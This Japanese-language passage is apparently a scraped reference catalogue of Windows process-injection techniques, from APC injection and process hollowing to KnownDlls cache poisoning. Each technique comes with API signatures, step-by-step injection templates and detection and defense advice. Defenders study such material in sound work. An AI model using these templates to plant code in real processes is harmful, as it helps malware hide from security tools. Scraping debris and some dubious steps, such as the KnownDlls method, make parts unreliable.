    root@kitploit:~
  • Process32First ```c BOOL Process32First( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );
    root@kitploit:~
  • Process32Next ```c BOOL Process32Next( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );
    root@kitploit:~
  • Thread32First ```c BOOL Thread32First( HANDLE hSnapshot, LPTHREADENTRY32 lpte );
    root@kitploit:~
  • Thread32Next ```c BOOL Thread32Next( HANDLE hSnapshot, LPTHREADENTRY32 lpte );
    root@kitploit:~

KeInitializeAPC (カーネルモード、非公開) ```c VOID KeInitializeApc( PRKAPC Apc, PRKTHREAD Thread, KAPC_ENVIRONMENT Environment, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ProcessorMode, PVOID NormalContext );

root@kitploit:~
テンプレート:
1. `CreateToolhelp32Snapshot` を使用してシステムプロセスのスナップショットを作成する
2. `Process32First`、`Process32Next`、`Thread32First`、`Thread32Next` を使用してプロセスとスレッドを列挙する
3. `OpenProcess` を使用してターゲットプロセスを開く
4. `VirtualAllocEx` を使用してターゲットプロセスにメモリを割り当てる
5. `WriteProcessMemory` を使用して割り当てたメモリに悪意のあるコードを書き込む
6. `QueueUserAPC` を使用して、注入されたコードを指す APC をターゲットスレッドにキューする

検出と防御:
- 不審な APC キュー操作を監視する
- 予期しないコード実行を検出するためにスレッド実行の監視を実装する
- APC 悪用を検出できる機能を持つ EDR ソリューションを使用する
- ランタイム分析を採用して異常なスレッド動作を特定する

## 5. Process Hollowing(プロセス置換)

この手法は、プロセスの内容全体を「排出」し、その中に悪意のあるコンテンツを挿入します。

主要なAPI:
- [`CreateProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa)  ```c
BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);
  • NtQueryInformationProcess (未公開) ```c NTSTATUS NTAPI NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL );
    root@kitploit:~

GetModuleHandle ```c HMODULE GetModuleHandleA( LPCSTR lpModuleName );

root@kitploit:~
- `ZwUnmapViewOfSection` / `NtUnmapViewOfSection` (非公開)  ```c
NTSTATUS NTAPI NtUnmapViewOfSection(
  IN HANDLE ProcessHandle,
  IN PVOID BaseAddress
);
  • VirtualAllocEx (上記参照)
  • WriteProcessMemory (上記参照)
  • GetThreadContext ```c BOOL GetThreadContext( HANDLE hThread, LPCONTEXT lpContext );
    root@kitploit:~
  • SetThreadContext (上記参照)
  • ResumeThread (上記参照)

テンプレート:

  1. CREATE_SUSPENDED フラグを指定した CreateProcess を使用して、新しいプロセスを中断状態で作成する
  2. NtQueryInformationProcess を使用してプロセス情報を取得する
  3. NtUnmapViewOfSection を使用して、プロセスから元の実行可能ファイルをアンマップする。元の実行可能ファイルのアンマップ後、PEB(プロセス環境ブロック)内のイメージベースアドレスが新しく割り当てられたメモリを指すように調整する。
  4. PEB内のイメージベースアドレスを調整する:
  • ReadProcessMemory を使用してPEBを読み取る
  • ImageBaseAddress フィールドを特定する
  • WriteProcessMemory を使用して、新しく割り当てられたメモリのアドレスで更新する
  1. VirtualAllocEx を使用してターゲットプロセス内にメモリを割り当てる
  2. WriteProcessMemory を使用して、悪意のある実行可能ファイルを割り当てたメモリに書き込む
  3. GetThreadContext と SetThreadContext を使用して、スレッドコンテキストを新しいエントリポイントを指すように更新する
  4. ResumeThread を使用してプロセスのメインスレッドを再開する

検出と防御:

  • プロセス整合性チェックを実装して、ハローイングされたプロセスを検出する
  • 特に CREATE_SUSPENDED フラグを使用した不審なプロセス作成パターンを監視する
  • メモリフォレンジックツールを使用してプロセスハローイングの兆候を特定する
  • 予期しないメモリレイアウトを持つプロセスを特定するために、動作ベースの検出を採用する

6. AtomBombing

APCインジェクションの一種で、悪意のあるペイロードを個別の文字列に分割し、アトムを使用することで機能します。この手法は、アトムがプロセス間で共有されるという事実に依存しています。

主要API:

  • OpenThread (上記参照)
  • GlobalAddAtom ```c ATOM GlobalAddAtomA( LPCSTR lpString );
    root@kitploit:~
  • GlobalGetAtomName ```c UINT GlobalGetAtomNameA( ATOM nAtom, LPSTR lpBuffer, int nSize );
    root@kitploit:~
  • QueueUserAPC (上記参照)
  • NtQueueApcThread (非公開、上記参照)
  • NtSetContextThread (非公開) ```c NTSTATUS NTAPI NtSetContextThread( IN HANDLE ThreadHandle, IN PCONTEXT ThreadContext );
    root@kitploit:~

Template:

  1. 悪意のあるペイロードを小さなチャンクに分割する
  2. 各チャンクについて、GlobalAddAtom を使用してグローバルアトムを作成する
  3. OpenThread で対象スレッドを開く
  4. QueueUserAPC または NtQueueApcThread を使用して、対象スレッドに APC をキューに追加する
  5. APC ルーチン内で GlobalGetAtomName を使用してペイロードのチャンクを取得する
  6. 対象プロセスのメモリ内でペイロードを組み立てる
  7. NtSetContextThread または別の APC のキューイングを使用してペイロードを実行する

検出と防御:

  • アトムの作成と取得の異常なパターンを監視する
  • 多数のアトムにアクセスするプロセスに対する振る舞いベースの検出を実装する
  • AtomBombing 技術を検出できる機能を持つ EDR ソリューションを使用する
  • ランタイム解析を利用して、アトム操作と組み合わせた不審な APC の使用を特定する

7. Process Doppelgänging

プロセスの作成前にイメージを置き換える Process Hollowing の進化形です。この技術は Windows Transactional NTFS (TxF) を利用して、プロセス作成中に正当なファイルを一時的に悪意のあるファイルに置き換えます。

主な API:

  • CreateTransaction ```c HANDLE CreateTransaction( LPSECURITY_ATTRIBUTES lpTransactionAttributes, LPGUID UOW, DWORD CreateOptions, DWORD IsolationLevel, DWORD IsolationFlags, DWORD Timeout, LPWSTR Description );
    root@kitploit:~
  • CreateFileTransacted ```c HANDLE CreateFileTransactedA( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile, HANDLE hTransaction, PUSHORT pusMiniVersion, PVOID lpExtendedParameter );
    root@kitploit:~

NtCreateSection (未公開) ```c NTSTATUS NTAPI NtCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL );

root@kitploit:~
- `NtCreateProcessEx` (非公開)  ```c
NTSTATUS NTAPI NtCreateProcessEx(
  OUT PHANDLE ProcessHandle,
  IN ACCESS_MASK DesiredAccess,
  IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
  IN HANDLE ParentProcess,
  IN ULONG Flags,
  IN HANDLE SectionHandle OPTIONAL,
  IN HANDLE DebugPort OPTIONAL,
  IN HANDLE ExceptionPort OPTIONAL,
  IN BOOLEAN InJob
);
  • NtQueryInformationProcess (未公開、上記参照)
  • NtCreateThreadEx (未公開) ```c NTSTATUS NTAPI NtCreateThreadEx( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL );
    root@kitploit:~
  • RollbackTransaction ```c BOOL RollbackTransaction( HANDLE TransactionHandle );
    root@kitploit:~
  1. CreateTransaction を使用してトランザクションを作成する
  2. CreateFileTransacted を使用してトランザクション処理されたファイルを作成する
  3. 悪意のあるペイロードをトランザクション処理されたファイルに書き込む
  4. NtCreateSection を使用してトランザクション処理されたファイルのセクションを作成する
  5. NtCreateProcessEx を使用してセクションからプロセスを作成する
  6. NtCreateThreadEx を使用して新しいプロセスにスレッドを作成する
  7. RollbackTransaction でトランザクションをロールバックして、悪意のあるファイルの痕跡を削除する

検出と防御:

  • 不審なトランザクションNTFS操作を監視する
  • 一時ファイルの置換を検出するためのファイル整合性モニタリングを実装する
  • Process Doppelgänging テクニックを検出できる高度なEDRソリューションを使用する
  • トランザクション処理されたファイルから作成されたプロセスを特定するための動作ベースの検出を採用する

8. Process Herpaderping

Process Doppelgänging と似ていますが、プロセス作成とセキュリティチェックの順序を悪用します。このテクニックは、Windows がプロセスの実行を開始する前に実行可能ファイルに対してセキュリティチェックを実行するという事実を悪用します。

主要なAPI:

  • CreateFile ```c HANDLE CreateFileA( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );
    root@kitploit:~
  • NtCreateSection (未公開、上記参照)
  • NtCreateProcessEx (未公開、上記参照)
  • NtCreateThreadEx (未公開、上記参照)

Template:

  1. CreateFile を使用してファイルを作成する
  2. 悪意のあるペイロードをファイルに書き込む
  3. NtCreateSection を使用してファイルのセクションを作成する
  4. ファイルの内容を無害なデータで上書きする
  5. NtCreateProcessEx を使用してセクションからプロセスを作成する
  6. NtCreateThreadEx を使用して新しいプロセスにスレッドを作成する

Detection and Defense:

  • 実行可能ファイルの急速な変更を検出するために、ファイル整合性監視を実装する
  • ファイル内容が一致しないプロセスを特定するために、挙動ベースの検出を使用する
  • Process Herpaderping 技術を検出できる高度な EDR ソリューションを採用する
  • ファイル作成、変更、プロセス作成の不審なパターンを監視する

9. フッキングインジェクション

この技術は、フッキング関連の関数を使用して悪意のある DLL を注入します。この技術は、インジェクションだけでなく API フッキングにも使用できます。

Key APIs:

  • SetWindowsHookEx ```c HHOOK SetWindowsHookExA( int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId );
    root@kitploit:~
  • PostThreadMessage ```c BOOL PostThreadMessageA( DWORD idThread, UINT Msg, WPARAM wParam, LPARAM lParam );
    root@kitploit:~
  1. フックプロシージャを含むDLLを作成する
  2. SetWindowsHookEx を使用してターゲットプロセスにフックを設定する
  3. PostThreadMessage でメッセージを送信してフックをトリガーする

検出と防御:

  • SetWindowsHookEx の不審な使用、特にグローバルフックの使用を監視する
  • APIフッキング検出メカニズムを実装する
  • 異常なフックインストールを検出できる機能を持つEDRソリューションを使用する
  • 予期しないモジュールがロードされたプロセスを特定するために、行動ベースの検出を採用する

10. 拡張Windowsメモリインジェクション

この技術は、ウィンドウクラス登録中にクラスのインスタンスに付加される拡張Windowsメモリ(EWM)を使用して、プロセスにコードを注入します。あまり一般的ではなく、一部のセキュリティソリューションによって検出される可能性があります。

主要なAPI:

  • FindWindowA ```c HWND FindWindowA( LPCSTR lpClassName, LPCSTR lpWindowName );
    root@kitploit:~
  • GetWindowThreadProcessId ```c DWORD GetWindowThreadProcessId( HWND hWnd, LPDWORD lpdwProcessId );
    root@kitploit:~
  • OpenProcess (上記参照)
  • VirtualAllocEx (上記参照)
  • WriteProcessMemory (上記参照)
  • SetWindowLongPtrA ```c LONG_PTR SetWindowLongPtrA( HWND hWnd, int nIndex, LONG_PTR dwNewLong );
    root@kitploit:~

SendNotifyMessage ```c BOOL SendNotifyMessageA( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam );

root@kitploit:~
Template:
1. `FindWindowA` を使用して対象ウィンドウを見つける
2. `GetWindowThreadProcessId` を使用してウィンドウのプロセス ID を取得する
3. `OpenProcess` を使用してプロセスを開く
4. `VirtualAllocEx` を使用して対象プロセス内にメモリを割り当てる
5. `WriteProcessMemory` を使用して割り当てたメモリに悪意のあるコードを書き込む
6. `SetWindowLongPtrA` を使用してウィンドウの拡張メモリを変更する
7. `SendNotifyMessage` を使用して実行をトリガーする

検出と防御:
- ウィンドウプロパティへの不審な変更を監視する
- ウィンドウクラスデータの整合性チェックを実装する
- EWM 操作を検出できる EDR ソリューションを使用する
- 行動ベースの検出を採用し、ウィンドウプロパティに予期しない変更があるプロセスを特定する

## 11. 伝播インジェクション

この手法は、explorer.exe などの中整合性レベルのプロセスに悪意のあるコードを注入するために使用されます。ウィンドウを列挙してサブクラス化することで機能します。特権昇格に特に効果的です。

主要 API:
- [`EnumWindows`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows)  ```c
BOOL EnumWindows(
  WNDENUMPROC lpEnumFunc,
  LPARAM      lParam
);
  • EnumChildWindows ```c BOOL EnumChildWindows( HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam );
    root@kitploit:~
  • EnumProps ```c int EnumPropsA( HWND hWnd, PROPENUMPROCA lpEnumFunc );
    root@kitploit:~
  • GetProp ```c HANDLE GetPropA( HWND hWnd, LPCSTR lpString );
    root@kitploit:~
  • SetWindowSubclass ```c BOOL SetWindowSubclass( HWND hWnd, SUBCLASSPROC pfnSubclass, UINT_PTR uIdSubclass, DWORD_PTR dwRefData );
    root@kitploit:~
  • FindWindow (上記参照)
  • FindWindowEx (上記参照)
  • GetWindowThreadProcessId (上記参照)

Template:

  1. EnumWindows と EnumChildWindows を使用してウィンドウを列挙します
  2. 各ウィンドウについて、EnumProps と GetProp を使用してサブクラス化されたウィンドウを確認します
  3. OpenProcess を使用して対象プロセスを開きます
  4. VirtualAllocEx を使用して対象プロセス内にメモリを割り当てます
  5. WriteProcessMemory を使用して、割り当てられたメモリに悪意のあるコードを書き込みます
  6. SetWindowSubclass を使用してウィンドウをサブクラス化します
  7. SetPropA を使用して新しいプロパティを設定し、ペイロードを保存します
  8. PostMessage を使用してメッセージを送信し、実行をトリガーします

検出と防御:

  • ウィンドウの列挙とサブクラス化の不審なパターンを監視します
  • ウィンドウのサブクラス化に対する整合性チェックを実装します
  • 伝播(propagate)インジェクション技術を検出できる機能を持つEDRソリューションを使用します
  • 動作ベースの検出を採用して、ウィンドウのサブクラス化に予期しない変更が見られるプロセスを特定します

12. ヒープスプレー

厳密にはインジェクション技術ではありませんが、ヒープスプレーは他のインジェクション手法と組み合わせて、エクスプロイトペイロードの配信を容易にするためによく使用されます。最新のブラウザとオペレーティングシステムは、これに対する緩和策を実装しています。

主要API:

  • HeapAlloc ```c LPVOID HeapAlloc( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes );
    root@kitploit:~

VirtualAlloc ```c LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );

root@kitploit:~
テンプレート:
1. `HeapAlloc`または`VirtualAlloc`を使用して複数のメモリブロックを割り当てる
2. これらのブロックにNOPスレッドとペイロードを組み合わせて埋める
3. このプロセスを繰り返して、プロセスのアドレス空間の大部分をカバーする

検出と防御:
- 不審なパターンを検出するためのメモリ割り当て監視を実装する
- アドレス空間レイアウトのランダム化(ASLR)を使用してヒープスプレー攻撃を緩和する
- ヒープスプレー技術を検出する機能を備えたEDRソリューションを採用する
- ヒープ割り当てのランダム化など、ブラウザ固有の緩和策を実装する

## 13. スレッド実行ハイジャック

この技術は、ターゲットプロセス内の正規のスレッドを一時停止し、その実行コンテキストを悪意のあるコードを指すように変更してから、スレッドを再開することを含みます。プロセスの安定性を維持するには、元のスレッドコンテキストを保存して復元する必要があります。

主要なAPI:
- `OpenThread`(上記参照)
- `SuspendThread`(上記参照)
- `GetThreadContext`(上記参照)
- `SetThreadContext`(上記参照)
- `VirtualAllocEx`(上記参照)
- `WriteProcessMemory`(上記参照)
- `ResumeThread`(上記参照)

テンプレート:
1. `OpenThread`でターゲットスレッドを開く
2. `SuspendThread`でスレッドを一時停止する
3. `GetThreadContext`でスレッドコンテキストを取得する
4. `VirtualAllocEx`でターゲットプロセスにメモリを割り当てる
5. `WriteProcessMemory`で割り当てられたメモリに悪意のあるコードを書き込む
6. `SetThreadContext`でスレッドコンテキストを注入されたコードを指すように変更する
7. `ResumeThread`でスレッドを再開する

検出と防御:
- スレッドの一時停止と再開の不審なパターンを監視する
- 実行フローの予期しない変更を検出するためのスレッド実行監視を実装する
- スレッドハイジャック技術を検出する機能を備えたEDRソリューションを採用する
- ランタイム分析を使用して異常なスレッド動作を特定する

## 14. モジュールストンピング

この技術は、ターゲットプロセス内の正規のモジュールのメモリを悪意のあるコードで上書きし、一部のセキュリティチェックをバイパスする可能性があります。読み込まれたモジュールの整合性チェックによって検出されます。

主要なAPI:
- [`GetModuleInformation`](https://docs.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getmoduleinformation)  ```c
BOOL GetModuleInformation(
  HANDLE       hProcess,
  HMODULE      hModule,
  LPMODULEINFO lpmodinfo,
  DWORD        cb
);

VirtualProtectEx ```c BOOL VirtualProtectEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );

root@kitploit:~
- `WriteProcessMemory` (上記参照)

Template:
1. `OpenProcess` を使用してターゲットプロセスを開きます。
2. `GetModuleInformation` を使用してターゲットモジュールの情報を取得します。
3. `VirtualProtectEx` を使用してモジュールのメモリ保護を書き込み可能に変更します。
4. `WriteProcessMemory` を使用してモジュールのコードセクションを悪意のあるコードで上書きします。
5. `VirtualProtectEx` を使用して元のメモリ保護を復元します。

検出と防御:
- ロードされたモジュールの変更を検出するためのモジュール整合性チェックを実装します。
- モジュールストンピング技術を検出できるEDRソリューションを使用します。
- モジュールストンピングの兆候を特定するためにメモリフォレンジックツールを使用します。
- ロードされたモジュールのコード署名と検証メカニズムを実装します。

## 15. IAT Hooking

この手法は、プロセスのインポートアドレステーブル(IAT)を変更して、関数呼び出しを悪意のあるコードにリダイレクトします。IATエントリとターゲットDLL内の実際の関数アドレスを比較することで検出されます。

主要API:
- [`GetProcAddress`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress)  ```c
FARPROC GetProcAddress(
  HMODULE hModule,
  LPCSTR  lpProcName
);
  • VirtualProtect ```c BOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );
    root@kitploit:~
  1. 対象プロセスのIATを特定する
  2. フックする関数を特定する
  3. VirtualProtectを使用してIATのメモリ保護を書き込み可能に変更する
  4. 元の関数アドレスを悪意のある関数のアドレスに置き換える
  • 対象関数のIATエントリのアドレスを計算する
  • IATエントリから元の関数アドレスを読み取る
  • 元の関数アドレスを悪意のある関数のアドレスに置き換える
  1. 元のメモリ保護を復元する

検出と防御:

  • 変更を検出するためのIAT整合性チェックを実装する
  • IATフッキングを検出できる機能を備えたEDRソリューションを使用する
  • 予期しない関数リダイレクトを特定するためにランタイム解析を採用する
  • 読み込まれたモジュールに対するコード署名と検証メカニズムを実装する

16. インラインフッキング

この手法は、関数の最初の数命令を変更して、実行を悪意のあるコードにリダイレクトします。マルチバイト命令と相対ジャンプの慎重な処理が必要です。

主要なAPI:

  • VirtualProtect (上記参照)
  • memcpy ```c void *memcpy( void *dest, const void *src, size_t count );
    root@kitploit:~

テンプレート:

  1. メモリ内で対象関数を特定する
  2. VirtualProtectを使用してメモリ保護を書き込み可能に変更する
  3. 元の命令(通常5バイト以上)を保存する
  4. 関数の先頭を悪意のあるコードへのジャンプで上書きする
  5. 悪意のあるコード内で、保存した元の命令を実行してから元の関数にジャンプして戻る

検出と防御:

  • 関数プロローグへの改変を検出するために関数整合性チェックを実装する
  • インラインフッキングを検出できる機能を持つEDRソリューションを使用する
  • 関数実行フローの予期しない変更を特定するためにランタイム分析を採用する
  • 読み込まれたモジュールに対するコード署名と検証メカニズムを実装する

17. デバッガーインジェクション

この手法はデバッグAPIを使用して対象プロセスにコードを注入します。対象プロセス内のアンチデバッグチェックによって検出される可能性があります。

主要API:

  • DebugActiveProcess ```c BOOL DebugActiveProcess( DWORD dwProcessId );
    root@kitploit:~
  • WaitForDebugEvent ```c BOOL WaitForDebugEvent( LPDEBUG_EVENT lpDebugEvent, DWORD dwMilliseconds );
    root@kitploit:~
  • ContinueDebugEvent ```c BOOL ContinueDebugEvent( DWORD dwProcessId, DWORD dwThreadId, DWORD dwContinueStatus );
    root@kitploit:~

Template:

  1. DebugActiveProcess を使用してデバッガーとして対象プロセスにアタッチする
  2. WaitForDebugEvent でデバッグイベントを待機する
  3. 適切なイベントが発生したら、WriteProcessMemory を使用して悪意のあるコードを注入する
  4. スレッドコンテキストを変更して、注入されたコードを実行する
  5. ContinueDebugEvent でデバッグイベントを継続する

検出と防御:

  • 機密性の高いアプリケーションにアンチデバッグ技術を実装する
  • デバッグAPIの不審な使用を監視する
  • デバッガーベースのインジェクションを検出できるEDRソリューションを使用する
  • 予期しないデバッグイベントを特定するためにランタイム分析を採用する

18. COMハイジャック

この技術は、正当なCOMオブジェクトを悪意のあるものに置き換え、COMオブジェクトがインスタンス化されたときにコードを実行させるものです。これはインジェクションだけでなく、永続化にも使用されます。

主なAPI:

  • CoCreateInstance ```c HRESULT CoCreateInstance( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv );
    root@kitploit:~
  • RegOverridePredefKey ```c LSTATUS RegOverridePredefKey( HKEY hKey, HKEY hNewHKey );
    root@kitploit:~

テンプレート:

  1. 悪意のあるCOMオブジェクトを作成する
  2. レジストリを変更して、正規のCOMオブジェクトのCLSIDを悪意のあるものに置き換える
  3. アプリケーションがCoCreateInstanceを呼び出すと、悪意のあるオブジェクトが代わりにインスタンス化される

検出と防御:

  • COMオブジェクトの整合性チェックを実装する
  • COMオブジェクトに関連する不審なレジストリ変更を監視する
  • アプリケーションホワイトリストを使用して、許可されていないCOMオブジェクトの読み込みを防ぐ
  • 動作ベースの検出を採用して、予期しないCOMオブジェクトのインスタンス化を特定する

19. ファントムDLLホローイング

この手法では、正規のDLL内に新しいセクションを作成し、そこにコードを注入します。

主要API:

  • LoadLibraryEx ```c HMODULE LoadLibraryExA( LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags );
    root@kitploit:~
  • VirtualAlloc ```c LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
    root@kitploit:~
  • VirtualProtect ```c BOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );
    root@kitploit:~

手順:

  1. DONT_RESOLVE_DLL_REFERENCES フラグを指定して LoadLibraryEx を使用し、正当な DLL を読み込む
  2. VirtualAlloc を使用して新しいメモリセクションを割り当てる
  3. 悪意のあるコードを新しいセクションにコピーする
  4. 新しいセクションを含めるように DLL の PE ヘッダーを変更する
  5. VirtualProtect を使用して新しいセクションのメモリ保護を変更する
  6. インジェクションされたコードを実行する

検出と防御:

  • DLL の整合性チェックを実装して変更を検出する
  • DLL の読み込みとメモリ割り当ての不審なパターンを監視する
  • ファントム DLL ハロウィングを検出できる EDR ソリューションを使用する
  • メモリフォレンジックツールを使用して DLL 改ざんの兆候を特定する

20. PROPagate

この手法は、SetProp/GetProp の Windows API 関数を悪用してコード実行を実現します。

主要 API:

  • SetProp ```c BOOL SetPropA( HWND hWnd, LPCSTR lpString, HANDLE hData );
    root@kitploit:~
  • GetProp ```c HANDLE GetPropA( HWND hWnd, LPCSTR lpString );
    root@kitploit:~
  • EnumPropsEx ```c int EnumPropsExW( HWND hWnd, PROPENUMPROCEXW lpEnumFunc, LPARAM lParam );
    root@kitploit:~

テンプレート:

  1. FindWindow または EnumWindows を使用して対象ウィンドウを見つける
  2. VirtualAllocEx を使用してペイロード用のメモリを割り当てる
  3. WriteProcessMemory を使用して割り当てたメモリにペイロードを書き込む
  4. SetProp を使用して、ペイロードのアドレスをプロパティ値としてウィンドウにプロパティを設定する
  • ペイロードを実行するカスタムウィンドウプロシージャを作成する
  • SetWindowLongPtr を使用して、元のウィンドウプロシージャをカスタムプロシージャに置き換える
  1. ウィンドウがプロパティを列挙するようにして実行をトリガーする(例: 再描画を引き起こすメッセージを送信する)

検出と防御:

  • ウィンドウプロパティへの不審な変更を監視する
  • ウィンドウプロパティの完全性チェックを実装する
  • PROPagate テクニックを検出する機能を備えた EDR ソリューションを使用する
  • 行動ベースの検出を採用して、ウィンドウプロパティに予期しない変更があるプロセスを特定する

21. Early Bird Injection

このテクニックは、メインスレッドが実行を開始する前に、プロセスの初期化中にコードを注入します。

主要な API:

  • CreateProcess ```c BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
    root@kitploit:~
  • VirtualAllocEx (上記参照)
  • WriteProcessMemory (上記参照)
  • QueueUserAPC (上記参照)
  • ResumeThread (上記参照)

テンプレート:

  1. CREATE_SUSPENDED フラグを指定した CreateProcess を使用して、新しいプロセスを中断状態で作成します
  2. VirtualAllocEx を使用して、新しいプロセスにメモリを割り当てます
  3. WriteProcessMemory を使用して、割り当てたメモリにペイロードを書き込みます
  4. QueueUserAPC を使用して、ペイロードを指す APC をメインスレッドにキュー登録します
  5. ResumeThread を使用してメインスレッドを再開します

検出と防御:

  • CREATE_SUSPENDED フラグを使用したプロセス作成を監視します
  • 予期しないコード実行を検出するために、プロセス初期化の監視を実装します
  • Early Bird インジェクション技術を検出できる機能を持つ EDR ソリューションを使用します
  • 異常な初期化パターンを持つプロセスを特定するために、動作ベースの検出を採用します

22. Shim ベースのインジェクション

この技術は、Windows アプリケーション互換性フレームワークを利用してコードを注入します。

主要な API:

  • SdbCreateDatabase ```c PDB SdbCreateDatabase( LPCWSTR pwszPath );
    root@kitploit:~

SdbWriteDWORDTag ```c BOOL SdbWriteDWORDTag( PDB pdb, TAG tTag, DWORD dwData );

root@kitploit:~
[`SdbEndWriteListTag`](https://docs.microsoft.com/en-us/windows/win32/api/appcompatapi/nf-appcompatapi-sdbendwritelisttag)  ```c
BOOL SdbEndWriteListTag(
  PDB pdb,
  TAG tTag
);

テンプレート:

  1. SdbCreateDatabase を使用してシムデータベースを作成する
  2. ペイロードとターゲットアプリケーションを含むシムデータをデータベースに書き込む
  3. sdbinst.exe を使用してシムデータベースをインストールする
  4. ターゲットアプリケーションが起動されると、ペイロードが実行される

検出と防御:

  • 不審なシムデータベースの作成とインストールを監視する
  • アプリケーション互換性シムの監視を実装する
  • シムベースのインジェクション技術を検出できるEDRソリューションを使用する
  • 承認されたシムのホワイトリストを採用し、不正なシムのインストールをブロックする

23. マッピングインジェクション

この技術では、メモリマップトファイルを使用してリモートプロセスにコードを注入します。

主要なAPI:

  • CreateFileMapping ```c HANDLE CreateFileMappingA( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName );
    root@kitploit:~
  • MapViewOfFile ```c LPVOID MapViewOfFile( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap );
    root@kitploit:~
  • NtMapViewOfSection (未公開) ```c NTSTATUS NTAPI NtMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect );
    root@kitploit:~
  1. CreateFileMapping を使用してファイルマッピングオブジェクトを作成する
  2. MapViewOfFile を使用してファイルのビューを現在のプロセスにマップする
  3. ペイロードをマップされたビューに書き込む
  4. NtMapViewOfSection を使用してビューをターゲットプロセスにマップする
  5. ターゲットプロセスでペイロードを実行する

検出と防御:

  • ファイルマッピングとビュー作成の不審なパターンを監視する
  • 予期しない共有メモリの使用を検出するためにメモリマッピング監視を実装する
  • マッピングインジェクション技術を検出する機能を備えたEDRソリューションを使用する
  • 異常なメモリマップファイル使用を伴うプロセスを特定するために、行動ベースの検出を採用する

24. KnownDllsキャッシュポイズニング

この技術は、KnownDllsキャッシュ内の正規のDLLを悪意のあるDLLに置き換えることを含みます。

主要API:

  • NtSetSystemInformation (未公開) ```c NTSTATUS NTAPI NtSetSystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength );
    root@kitploit:~

Template:

  1. 正当なKnownDllsエントリと同じ名前の悪意のあるDLLを作成します
  2. 悪意のあるDLL用のセクションオブジェクトを作成します:
    • NtCreateSectionを使用してセクションオブジェクトを作成します
    • セクションのビューをメモリにマップします
    • マップされたビューに悪意のあるDLLの内容を書き込みます
  3. NtSetSystemInformationをSystemExtendServiceTableInformationとともに使用して、悪意のあるDLLをKnownDllsキャッシュに追加します
  4. 悪意のあるDLLは、正当なDLLの代わりにプロセスによってロードされます

検出と防御:

  • KnownDlls整合性チェックを実装します
  • KnownDllsキャッシュへの変更を監視します
  • KnownDllsキャッシュポイズニングを検出できるEDRソリューションを使用します
  • KnownDllsキャッシュ内のDLLに対して、ホワイトリスト登録とコード署名の検証を採用します

検出と防御に関する追加の考慮事項

